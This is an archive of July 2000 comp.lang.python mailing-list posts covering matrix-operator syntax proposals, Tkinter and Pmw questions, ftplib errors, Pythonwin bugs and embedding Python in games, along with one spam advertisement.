From: cookedm at physics.mcmaster.ca (David M. Cooke)
Date: 17 Jul 2000 17:39:33 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com>
Message-ID: <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca>

At some point, hzhu at localhost.localdomain (Huaiyu Zhu) wrote:

> On Mon, 17 Jul 2000 14:12:02 -0500, Paul Prescod <paul at prescod.net> wrote:
> 
> >Maybe you should consider how to scale back your syntactic request.
> >Perhaps a single keyword or symbol at the beginning of an expression
> >could make it element-wise or matrix-wise.
> 
> Well, that would be fine if it is workable, ie, when they don't appear in
> the same expression.  
> 
> Consider the proposal of having two classes, Matrixwise and Elementwise,
> with methods to cast to each other.  I don't know why
> 
> (a.E()*b.E()).M()*(c.E()*d.E()).M()
> 
> would be more preferable to 
> 
> (a.*b)*(c.*d)

Well, it doesn't have to be as complicated as your first example. Assume
the default is Matrixwise, and we get rid of some ()'s by overriding
__getattr__, so that we can right

(a.E*b.E)*(c.E*d.E)

Better? It's not great, you have to remember to put .E on both. Ahh!
But what if we assume that if one operand has .E, the other does also!
Then we can write

(a.E*b)*(c.E*d)

which is two characters more than your second example.

-- 
|>|\/|<
----------------------------------------------------------------------------
David M. Cooke
cookedm at mcmaster.ca


From thomas at xs4all.net  Sat Jul 15 19:20:03 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 16 Jul 2000 01:20:03 +0200
Subject: Neil Schemenauer's GC patch in python1.6?
In-Reply-To: <rNL7kWAr+Jc5Ewpe@jessikat.fsnet.co.uk>; from robin@jessikat.fsnet.co.uk on Sat, Jul 15, 2000 at 06:30:19PM +0100
References: <396F28A1.A181BF39@email.sps.mot.com> <3dn1jkljwy.fsf@kronos.cnri.reston.va.us> <rNL7kWAr+Jc5Ewpe@jessikat.fsnet.co.uk>
Message-ID: <20000716012003.L7340@xs4all.nl>

On Sat, Jul 15, 2000 at 06:30:19PM +0100, Robin Becker wrote:
> In article <3dn1jkljwy.fsf at kronos.cnri.reston.va.us>, Andrew Kuchling

[ amk explains cycle-GC will be in 2.0, though possibly optionally ]

> If GC has finally/nearly made it, what about Chris Tismer's stackless?

A different story altogether. I'm sure Christian can give a better
explanation that I can, but I believe the main showstopper is the fact it's
impossible to implement (currently) in JPython, not to mention future Python
compilers. There may be a lot more behind it, though.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From cgrant at medicine.adelaide.edu.au  Mon Jul 24 21:51:54 2000
From: cgrant at medicine.adelaide.edu.au (Cliff Grant)
Date: Tue, 25 Jul 2000 11:21:54 +0930
Subject: dzheng@medicine.adelaide.edu.au
Message-ID: <397CF2BA.A12CBCFE@medicine.adelaide.edu.au>

-- 
*************************************************************************
Cliff Grant                        Dept. of
Anaesthesia and Intensive Care  
ph: +61 8303 5157                  University of
Adelaide
fax: +61 8303 3909                 Adelaide, SA 5005
cgrant at medcine.adelaide.edu.au     AUSTRALIA


From jkraska1 at san.rr.com  Wed Jul 26 01:10:06 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Wed, 26 Jul 2000 05:10:06 GMT
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <397E7350.C44A80AE@san.rr.com>

 
> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?

If you implemented an object that implemented all the methods
that a sequence implemented (or just the few that the for loop
object cared about), would python know the difference? NO.

Remember, Python has no real notion of types.



C/


From alex at magenta.com.bbs  Mon Jul 17 15:20:04 2000
From: alex at magenta.com.bbs (alex at magenta.com.bbs)
Date: 17 Jul 2000 19:20:04 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bRMY5$izp@openbazaar.net>

"G. David Kuhlman" <dkuhlman at netcom.com> wrote in message
news:8kvdon$tit$1 at slb3.atl.mindspring.net...
    [snip]
> One thing (among many) that I do not understand is how C#Python can
> both compile directly to IL (intermediate language?) and produce a
> .DLL/.EXE.  Does the .EXE contain both an interpreter (VM ?) and
> the IL (byte code?) that it interprets?  Or does IL mean that the
> machine code is in there, but augmented with some meta-information
> for debuggers and other tools?  Or, what?

As I "read between the lines", mostly in the paper (on the MSDN
online technical articles library) about Eiffel#, the .NET framework
lets IL (bytecode and metadata, or native-code and metadata) be
packed into a module (DLL or EXE), and if desired multiple modules
may be packed into one (modules may also refer to other modules
outside of their 'packaging', but a more self-contained packaging
may also be provided if desired).

I guess/suspect that Python.NET (or Python# as the case may be)
exploits exactly these capabilities of the framework...?


Alex


From thomas.heller at ion-tof.com  Wed Jul 26 05:21:52 2000
From: thomas.heller at ion-tof.com (Thomas Heller)
Date: Wed, 26 Jul 2000 11:21:52 +0200
Subject: Flex scanner for Python
Message-ID: <042901bff6e2$ef7b72f0$4500a8c0@thomasnb>

Has someone written a Flex grammar for scanning python code?

Thomas Heller





From hzhu at localhost.localdomain.bbs  Mon Jul 17 21:00:04 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 18 Jul 2000 01:00:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRVR4$jS3@openbazaar.net>

On 17 Jul 2000 23:19:16 GMT, Gordon McMillan <gmcm at hypernet.com> wrote:

>I proposed something very similar to Huaiyu the other day:
>
>  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>
>I know Thomas Wouters did, too. I haven't seen a post reflecting these
>suggestions.

Good point. So let me say why I do not like this.  (Doesn't mean it has to
die.)  :-)

In a program where there are a lot of computations, you'll get either
something like a ritual on every line,

PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

for what could be

(A .* B)\C
(A .* B)\C
(A .* B)\C

or you get

PyAlgebra.evaluate(r'(A .* B)\C
                     (A .* B)\C
                     (A .* B)\C', A=A, B=B, C=C)

Everybody would rush for the latter.  In the end what's inside the quote
would be a minilanguage with all the bells and wistles of python.  This
would be just similar to patching the parser, with lesser results.

>In fact, looking at this thread in one of those tree-view newsreaders, it
>becomes obvious that branches die when a proposal is made, but arguments
>are met with vehement counter arguments. Which leads me to believe that:
>
>>Silly idea 3:
>>
>>  Lets continue arguing until everyone, both pro and con, gets
>>  irritated,
>>starts calling each other Nazis and gives up.
>
>...has already won.

You got it.  I'm making a resolution of not going down that road from now on.

Huaiyu


From bjorn at roguewave.com  Tue Jul 11 18:14:54 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 11 Jul 2000 16:14:54 -0600
Subject: comparing a directory to current dir...
Message-ID: <396B9C5E.FCE5F683@roguewave.com>

I have a directory (and a filename), and I want to copy the filename
from that directory to my current directory. The problem is, I only want
to do this if the directories are not equal...

I tried the following:

  if os.path.abspath(os.curdir) != os.path.abspath(directory):
      shutil.copy( os.path.join(directory, filename), os.curdir )

the problem is that os.path.abspath(os.curdir) contains the drive letter
on Windows and os.path.abspath(directory) doesn't.

Is this a bug in os.path.abspath? (I can't think of an instance where
the current behavior would be useful -- but that could just be lack of
imagination <wink>).

-- bjorn



From neilh at scintilla.org  Sat Jul  8 00:27:40 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sat, 08 Jul 2000 04:27:40 GMT
Subject: Splitting c.l.py...
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com> <0007071815170C.03526@quadra.teleo.net> <RRv95.118257$WS3.1038302@typhoon.we.rr.com>
Message-ID: <05y95.10360$Tb7.69463@news-server.bigpond.net.au>

> Okay, I've noticed people mentioning 'eff-bot' for awhile now.. and
> I have one question.
>
> What the heck is the eff-bot?! :)

   The eff-bot is Fredrik Lundh, a very helpful Python user who has for the
past few years responded to many requests for help on comp.lang.python. The
wide range of subjects covered and the amount of time spent indicate that
Fredrik is really a bot rather than human. Some of the eff-bot's knowledge
is distilled into
http://www.pythonware.com/people/fredrik/librarybook.htm

   Neil





From bugparts at hotmail.com  Wed Jul 19 01:19:20 2000
From: bugparts at hotmail.com (bugparts at hotmail.com)
Date: Wed, 19 Jul 2000 05:19:20 GMT
Subject: Hunters, Shooters README !  5195
Message-ID: <sTad5.29262$jE1.282162@typhoon.ne.mediaone.net>

This site is for you !

http://www.ammoman.com

Found it while i was browsing and their prices ROCK !

Dont miss the TARGETS PAGE.. VERY COOL IDEA !~

Have a blast !

Regards,

Bob
cztpjdwwvbiejotgcnpsxodpgwroullwzkdjhrcrytpu



From andymac at bullseye.apana.org.au  Sat Jul  8 04:41:26 2000
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 8 Jul 2000 18:41:26 +1000 (EST)
Subject: Anyone used Python for GPIB instrument control?
In-Reply-To: <39668E65.356337BF@home.com>
Message-ID: <Pine.OS2.3.95.1000708183952.1432D-100000@CENTRAL>

On Sat, 8 Jul 2000 europax at home.com wrote:

> I am new to this ng and to Python.  I am wondering if anyone has used
> Python to control a National Instruments GPIB card on a Windows NT box? 
> I've searched and found a couple of references on my own.

If no other choice offers, it shouldn't be hard to wrap NI's interface
library in a Python extension module (though a C compiler would be
required) especially with the aid of SWIG.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
        andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
        andymac at pcug.org.au           (play2) |        Australia




From thomas at xs4all.net  Sun Jul 30 11:32:10 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 30 Jul 2000 17:32:10 +0200
Subject: Calling C Function Pointers from Python
In-Reply-To: <slrn8o879j.162.erwin@erwin.andreasen.org>; from erwin@andreasen.com on Sun, Jul 30, 2000 at 12:19:23PM +0000
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au> <slrn8o879j.162.erwin@erwin.andreasen.org>
Message-ID: <20000730173210.I266@xs4all.nl>

On Sun, Jul 30, 2000 at 12:19:23PM +0000, Erwin S. Andreasen wrote:

> >   calldll is a low level Python extension libary which contains functions
> >for creating buffers, loading DLLs, finding the address of functions within
> >the loaded DLLs, and calling the functions. On top of that is a higher level
> >windll module that makes it more convenient to call.

> Interesting -- it should be possible to create a similar module for loading
> shared objects under UNIX and calling functions in those. Although it wouldn't
> be that easy, since you would need to find a way to call a function pointer
> with a variable number of arguments in C.

Look at the 'dl' module in the standard Python distribution. It's not
terribly useful, though, for the reasons Neil pointed out: it's easy to
abuse, it's easy to mis-use, and as such, most people do not enable it. (I
don't, for instance ;) You're usually better off SWIGing the library you
wish to interface with.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From olivierS.dagenaisP at canadaA.comM  Wed Jul 19 10:29:19 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 19 Jul 2000 14:29:19 GMT
Subject: Internet Programming in Python
References: <397595A8.A32C8DE7@worldnet.att.net>
Message-ID: <3Xid5.135735$HK2.2426013@news20.bellglobal.com>

I don't, but I was thinking it might be really nice if the Python books that
are going out of print would be available online, in some electronic format.
Or are they already available online??  Anybody?

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Sean Doull-Connolly" <seandc at worldnet.att.net> wrote in message
news:397595A8.A32C8DE7 at worldnet.att.net...
> This book by Guido and others was published in 1996 and is now
> out of print.
>
> Does anyone have a copy in good condition which I might buy?
>
> Thanks.
>
> Sean




From dworkin at ccs.neu.edu  Thu Jul 13 15:20:02 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 13 Jul 2000 15:20:02 -0400
Subject: determining type
In-Reply-To: "Mike Mikkelsen"'s message of "Thu, 13 Jul 2000 11:21:26 +0000"
References: <396e07fd@news-out>
Message-ID: <vnd7laphm71.fsf@camelot-new.ccs.neu.edu>

"Mike Mikkelsen" <mikk at microbsys.com> writes:

> consider:
> >>>   a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}

> Is there a way to tell if 'item2' is a dictionairy, list or simple
> value like 'item1'?

>>> type(a['item1']) == type({})
0
>>> type(a['item2']) == type({})
1

-Justin

 



From thor at localhost.localdomain  Sun Jul 16 14:09:53 2000
From: thor at localhost.localdomain (Manuel Gutierrez Algaba)
Date: 16 Jul 2000 18:09:53 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <8knfco$jsq$1@nnrp1.deja.com>
Message-ID: <slrn8n45mg.1lp.thor@localhost.localdomain>

On Fri, 14 Jul 2000 16:33:29 GMT,tgdeveloper at my-deja.com> wrote:
>For me the top language constructs, in terms of being useful in daily work
>are:
>
>1. dictionaries
>
>2. lists / tuples
>
>3. for item in list:
>
>4. "blah blah %s blah %d blah" % (word, number)
>
>5. exception handling (try/except/raise etc.)
>
>6. the fact that data types can be nested (e.g. a dictionary whose key is a
>string and whose value is another dictionary, etc.)
>
>7. The "traceback" behavior for reporting errors.  This makes debugging easy.
>



This is are the tops language constructs for me. 

1. self.whatever 

1.5. import whatever

2. The assignation a = b

3. for i in list :

4. return whatever

5. class a(base)

6. dictionaries

7. xrange/range tricks 

8. try/except

9. eval 

 

-- 
MGA


From MarkH at ActiveState.com  Thu Jul 20 07:14:55 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 11:14:55 GMT
Subject: Pythonwin attribute expansion
Message-ID: <PaBd5.7288$4p3.52032@news-server.bigpond.net.au>

Let me try this again...

It's a bug.

If you would like to fix it, look in pywin\scintilla\view.py, and locate
the _AutoComplete() method.  The line:

     items = items + dir(ob.__class__)

Is at fault - dir() doesnt search sub-classes.  Simply make this line
smarter, by iterating over ob.__bases__

Mark.





From neilh at scintilla.org  Sun Jul 16 19:28:48 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 16 Jul 2000 23:28:48 GMT
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com> <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com> <8kaolt$flc$1@supernews.com> <838a5.12069$Tb7.82109@news-server.bigpond.net.au> <Vsoc5.89046$W35.2033332@news20.bellglobal.com>
Message-ID: <Qyrc5.3584$4p3.26953@news-server.bigpond.net.au>

> Another PythonWin documentation quirk:  Ctrl+T is listed twice as a
keyboard
> shortcut.  Once as "Transpose (swap) the current line with the line above"
> and later as "Toggle the use of tabs for the current file (after
> confirmation)"

   Well it could be documented this way because the underlying Scintilla
Transpose command would be exposed if you change your bindings file to move
toggle-tabs to a different key. But I expect its just an oversight.

    Neil




From rob at hooft.net  Mon Jul 31 06:00:20 2000
From: rob at hooft.net (Rob Hooft)
Date: 31 Jul 2000 12:00:20 +0200
Subject: Pmw dialogs - very slow
References: <3980375F.4D366654@proceryon.at> <8lrlui$673$1@nnrp1.deja.com>
Message-ID: <m2hf968vrf.fsf@hooft.net>

>>>>> "GM" == Georg Mischler <schorsch at schorsch.com> writes:

 >> The dialog frame appears very fast but it takes between 1 and 2
 >> seconds to display the contents! [...] Is there a possibilty to
 >> speed this up?

 GM> My experiments have shown that this has something to do with the
 GM> sequence of function calls in the setgeometryanddeiconify()
 GM> function in the file PmwBase.py. I'm not sure if I have found the
 GM> "correct" sequences yet, but I could get rid of the symptoms for
 GM> the unix branch by moving the final "window.tkraise()" from the
 GM> last line up to just below the "else:".

Hmm.. You can also change window managers. I understood this delay in
the tkraise call is a strange interaction between Tk and the WM. I
have seen it in Enlightenment, and it is one of the reasons I went
back to fvwm2. I discouraged the use of Gnome for a while to all
customers that asked me....

Regards,

Rob

-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========


From pete at visionart.com  Tue Jul 18 17:04:18 2000
From: pete at visionart.com (Pete Shinners)
Date: Tue, 18 Jul 2000 14:04:18 -0700
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <8l2hn5$9qg$1@la-mail4.digilink.net>

"Mallor" <mallor at 3DProgrammer.com> wrote
> Are any of you game developers out there using Python as your game
engine's
> embedded scripting language?  I am wondering what drove your decision to
use
> Python instead of other embeddable scripting languages?  I'd like to hear
what
> your overriding concerns were, and also what they are now, having put
Python to
> the test.

yes, i'm also really interested in this subject. with all the
"latest" game engines running compiled bytecode for the majority
of their code, i keep thinking python could be potentially the
best way to go with this.
(although things like UnrealScript and Quake3-C will always be
a bit more optimized towards their specific goals, buti can't
think python is really far behind them)

i suppose important would be building a good restricted
environment with "rexec" to allow for 3rd party code.
(owell, i won't get into it, its a big topic, and i've
never had a chance to touch it)

has anyone embedded python into their game engine? how did it work
out?





From jacobs at darwin.epbi.cwru.edu  Mon Jul 17 15:56:11 2000
From: jacobs at darwin.epbi.cwru.edu (Kevin Jacobs)
Date: 17 Jul 2000 19:56:11 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com>
Message-ID: <8kvocr$5mq$1@eeyore.INS.CWRU.Edu>

I've held back a few times from contributing my 0.02 cents, but here goes:

1) Python is a nifty language that allows its programmers to revel in 
   the richness of its dynamic object model.

2) Such models are always subject to abuse and can result in horrible and
   unmaintainable hacks.  These are frequently disguised as nifty syntactic 
   'features'.

3) Such attempts are bound to lead to terminal feeping-creaturism if not
   carefully kept out of the core language.

Ok, we all know this.  Most of us accept it.  Lets move on.  Thus far, I am
in line with the main-stream non-linear algebra proponents. However, I'd
love to see clean linear algebra implemented in Python.  So the dilemma is
how to make the marriage work.

First, Huaiyu has done an outstanding job as not only an advocate, but
implementor, of such a hybrid system.  This is always the first step. 
People can complain about the lack of something from now until doomsday, but
without someone at bat nothing will ever happen.  So, we have a critical
mass.  Now what?  Now he is asking for advice and guidance.  And what do we
tell him?  I'm sure that both (all) camps know their party lines at this
point, but it seems to me that little constructive has been done to work
around the issues.  So, here I go.  Brainstorming...

Silly idea 1:

  Until add-on Python grammar modules are available, what about a PyAlgebra
  evaluator module.  For a precedent, see regular expressions.  The
  difference is that linear-algebra syntax can be made too Python-like for
  some tastes.

  e.g.:

  import PyAlgebra

  PyAlgebra.run(r'A = (A .* B)\C')
  e = PyAlgebra(r"D = A'*B")
  e.run() # or e()

Admittedly, its not perfect, nor optimally compact, but it is no longer
encumbered by having to support the full Python grammar and is free to
redefine as much as necessary.

Silly idea 2:

  How about a "Linear-Algebra Python" to "Stock Python" translator.  Parsing
  Python isn't rocket science, so a fairly simple source-to-source
  translator can hide all the new syntax and turn it into redistributable
  stock but ugly Python code.  No fuss or muss, assuming that the original
  source is available when necessary.

Silly idea 3:

  Lets continue arguing until everyone, both pro and con, gets irritated,
starts calling each other Nazis and gives up.

Feel free to chime in!

-Kevin


-- 
----------->  Kevin Jacobs  <-----------|------->  (216) 778-8211  <--------
S.A.G.E. Project Technical Coordinator  | Department of Epidemiology
  & System Administrator                |   & Biostatistics
Internet E-mail: jacobs at darwin.cwru.edu | Case Western Reserve University
----------------------------------------------------------------------------


From richard_chamberlain at ntlworld.com  Thu Jul 13 13:05:12 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Thu, 13 Jul 2000 18:05:12 +0100
Subject: Simple File I/O Question
References: <396DF13A.97CC3F5E@bioeng.ucsd.edu>
Message-ID: <9Dmb5.515$ma3.8958@news6-win.server.ntlworld.com>

Hi Curtis,

Try converting you int to a string:

var=5
f=open('foo','w')
f.write(`var`)

or

f.write(str(var))

if it's clearer for you.

The problem with doing this is that to read the int back you'd need to
convert it back into an int, so it's a bit of pain if you have to do it
alot. If you want to store lots of values try using pickle.

Richard


Curtis Jensen <cjensen at bioeng.ucsd.edu> wrote in message
news:396DF13A.97CC3F5E at bioeng.ucsd.edu...
> I know this should be simple, but....  I have a variable that holds an
> int.  I want to write it to a file.  The following code:
>
> var = 5
> f = open('foo','w')
> f.write(var)
>
> gives this error:
> TypeError: read-only buffer, int
>
> This works if:
> var = '5'
>
> So, How do I write an int variable to a file?  Thanks.
>
> --
> Curtis Jensen
> cjensen at bioeng.ucsd.edu
> http://www-bioeng.ucsd.edu/~cjensen/
> FAX (425) 740-1451




From montagne at boora.com  Wed Jul 12 13:39:09 2000
From: montagne at boora.com (michael montagne)
Date: Wed, 12 Jul 2000 10:39:09 -0700
Subject: Browse for folder
Message-ID: <522b5.7305$wE2.19499@dfw-read.news.verio.net>

I found the FileDialog sample but I need to Browse for folder not dialog.
How might that be done?  Remeber, I'm a newbie.

-mjm






From richard_chamberlain at my-deja.com  Wed Jul 19 03:33:39 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Wed, 19 Jul 2000 07:33:39 GMT
Subject: tkinter text
References: <8l1pfa$oci$1@nnrp1.deja.com>
Message-ID: <8l3lkj$6if$1@nnrp1.deja.com>

Keith,

There may be a better way of doing it...

from Tkinter import *
root=Tk()
text=Text(root,width=50,height=50)
text.pack()
def intercept(event):
    return 'break'
text.bind('<Key>',intercept)
text.insert(END,'Sweet ;-)')
root.mainloop()

Here I bind a <Key> event to the intercept function - where I
return 'break' to stop the event propagating, so basically it's
disabled. To undisable you'd just need to unbind that event.

Richard


In article <8l1pfa$oci$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> is there a way to make a text box uneditable by the user, but
insertable
> ( insert(END, 'schweet') ) by the application?  thanks
>
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at rocket.knowledgetrack.com  Mon Jul 24 20:53:27 2000
From: hzhu at rocket.knowledgetrack.com (Huaiyu Zhu)
Date: Mon, 24 Jul 2000 17:53:27 -0700
Subject: Operators for everything (was Re: Operators for matrix)
In-Reply-To: <397CB3EA.15F5514F@prescod.net>
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net>
Message-ID: <200007250053.RAA03842@rocket.knowledgetrack.com>

In comp.lang.python, you wrote:
>
>That's simply not true. The name of the function is "add". At the
>syntactic level, "@" is an operator that takes three arguments, a left
>operand, a right operand and an operation to apply. It is a
>meta-operator.
>
>@add is not an identifier. *add* is the identifier.
>
>Personally, I think that this proposal is far more palatable then the
>others which add five or more inscrutable multi-character symbols to the
>Python lexicon. This one adds one character -- the meta-operator.

Is this meta operator allowed to be combined with existing operators, or is
it for identifiers only?  If the former, then @+ @- @* @/ etc are also
available.  

A related question:

If @add does not need to be hard coded in C, why @+ need so?  If it need to
be hard coded, what does it bring us?


still-confused-ly yr's

Huaiyu



From alex at magenta.com  Fri Jul 14 10:07:48 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 14 Jul 2000 16:07:48 +0200
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de>
Message-ID: <8kn71u02nn4@news2.newsguy.com>

"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
    [snip]
> I doubt this will be very useful, like the answer to the
> question: "Which are the ten most used words in English?".

That one is pretty useful, actually (it identifies the all-too-
frequent words, like 'the', 'of', etc, which a full-text search
engine had better just skip over:-).


Alex





From mark at intrepid.net  Wed Jul  5 10:51:42 2000
From: mark at intrepid.net (Mark Conway Wirt)
Date: Wed, 05 Jul 2000 14:51:42 GMT
Subject: Help: Python dumping core
Message-ID: <slrn8m6irt.15sl.mark@elvis.intrepid.net>

I'm working on a python script, and the interpreter keeps dumping
core.  I can't get much information from the core file, as 
python (and the module it calls: wxPython) where not compiled with
debugging symbols included.  All I have is really the stack trace:

#0  0x281a7b7d in _atomic_lock () from /usr/lib/libc_r.so.4
#1  0x281a6033 in _spinlock_debug () from /usr/lib/libc_r.so.4
#2  0x281a9520 in pthread_mutex_lock () from /usr/lib/libc_r.so.4
#3  0x2869be52 in wxMutex::Lock () from /usr/X11R6/lib/libwx_gtk.so
#4  0x28528da5 in wxEvtHandler::ProcessPendingEvents ()
   from /usr/X11R6/lib/libwx_gtk.so
#5  0x284fe831 in wxAppBase::ProcessPendingEvents ()
   from /usr/X11R6/lib/libwx_gtk.so
#6  0x284af1bb in wxApp::OnIdle () from /usr/X11R6/lib/libwx_gtk.so
#7  0x28529044 in wxEvtHandler::SearchEventTable ()
   from /usr/X11R6/lib/libwx_gtk.so
etc.

If I'm reading the trace correctly, it looks like the problem is somewhere
in wxMutex::Lock.  I have a few questions:

  1) Such a core dump points to a problem at a lower level than the
     particular script I'm working on, correct?  It seems to me that
     even if I have a mistake in the python code, python itself shouldn't
     dump core.

  2) Short or recompiling wxWindows (and perhaps wxPython and perhaps
     python itself...) with debugging symbols, is there anything I can do
     track the problem?  If my code is doing something stupid to cause
     the crash, how can I trace the problem if, by dumping core, python
     won't give me a stack trace?

I'm at a bit of a loss.  The reason that I like using tools like python is
to avoid lower-level debugging like this :-)

Thanks in advance!

--Mark


From fgeiger at datec.at  Tue Jul 25 12:36:17 2000
From: fgeiger at datec.at (Franz GEIGER)
Date: Tue, 25 Jul 2000 18:36:17 +0200
Subject: Comparison of strings and integer
Message-ID: <8lkfhs$pav$1@pollux.ip-plus.net>

Still not very experienced in programming Python I recently compared
accidentially a string variable with an integer variable. Python did it his
way, which was not my way: I expected a conversion like Perl does or a
runtime error like REBOL does. Is there any way to prevent Python from doing
so?

Python: print "1" > 1 --> 1

Perl: print not ("1" > 1); --> 1

REBOL:  print "1" > 1 -->
** Script Error: Expected one of: string! - not: integer!.
** Where: print "1" > 1

Many thanks in advance and best regards
Franz GEIGER




From ssurland at online.no  Sat Jul 29 14:41:08 2000
From: ssurland at online.no (Stein Surland)
Date: Sat, 29 Jul 2000 20:41:08 +0200
Subject: ftp and lowercase?
Message-ID: <39832544.2E05FCFB@online.no>

I have made a small script using ftplib to retrieve a list from a ftp
directory. It worked OK using ftp.retrlines('LIST', lines.append).
However using it on another ftp host gives me this message:

    ftp.retrlines('ls', lines.append)
  File "/usr/lib/python1.5/ftplib.py", line 345, in retrlines
    conn = self.transfercmd(cmd)
  File "/usr/lib/python1.5/ftplib.py", line 285, in transfercmd
    return self.ntransfercmd(cmd)[0]
  File "/usr/lib/python1.5/ftplib.py", line 273, in ntransfercmd
    resp = self.sendcmd(cmd)
  File "/usr/lib/python1.5/ftplib.py", line 228, in sendcmd
    return self.getresp()
  File "/usr/lib/python1.5/ftplib.py", line 201, in getresp
    raise error_perm, resp
ftplib.error_perm: 500 'LS': command not understood. 

The host did not take the LIST command so I changed it to LS and ls. It
seems that the ftplib sends the list command in uppercase. How to change
this to lowercase? I have ftp'ed to the host and it does not recognize
LIST or LS only ls.

Stein

-- 

Stein Surland			  Trying is the first step towards failure
ssurland at online.no			- Homer Simpson
http://home.online.no/~ssurland/


From phil at river-bank.demon.co.uk  Sun Jul 16 12:20:57 2000
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sun, 16 Jul 2000 17:20:57 +0100
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
Message-ID: <963764534.1476580377@news.demon.co.uk>

Visual Python is aimed at KDE and GNOME application developers and allows you
to easily embed Python as a GUI enabled scripting language in your application.

It includes KDE and GNOME APIs to manage Python interpreters, scripts and the
communications between running scripts and your application.

Users benefit from a common scripting language allowing them to develop
scripting skills that are re-usable with all their applications. The same
Visual Python script uses KDE widgets when run from a KDE application, and
GNOME widgets when run from a GNOME application.

When used in conjunction with tools like SWIG and SIP to expose application
specific functionality to scripts, developers can provide their users with the
ability to extend their application in many ways.

The Visual Python home page is at http://www.thekompany.com/projects/vp/.

Phil


From jhylton at my-deja.com  Mon Jul 24 16:37:15 2000
From: jhylton at my-deja.com (Jeremy Hylton)
Date: Mon, 24 Jul 2000 20:37:15 GMT
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net> <2kYe5.25991$1h3.418424@news20.bellglobal.com>
Message-ID: <8li9dq$8do$1@nnrp1.deja.com>

In article <2kYe5.25991$1h3.418424 at news20.bellglobal.com>,
  "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> How about encrypting the contents of the file?  Or using a One Time
Password
> challenge/response mechanism?
>

Pisces has support for password-based encryption of objects, which
could be used to encrypt the file contents.

http://www.cnri.reston.va.us/software/pisces/manual/module-
pisces.pwcrypt.html

Jeremy


Sent via Deja.com http://www.deja.com/
Before you buy.


From neilh at scintilla.org  Fri Jul 21 22:11:54 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sat, 22 Jul 2000 02:11:54 GMT
Subject: Discussion: new math operators
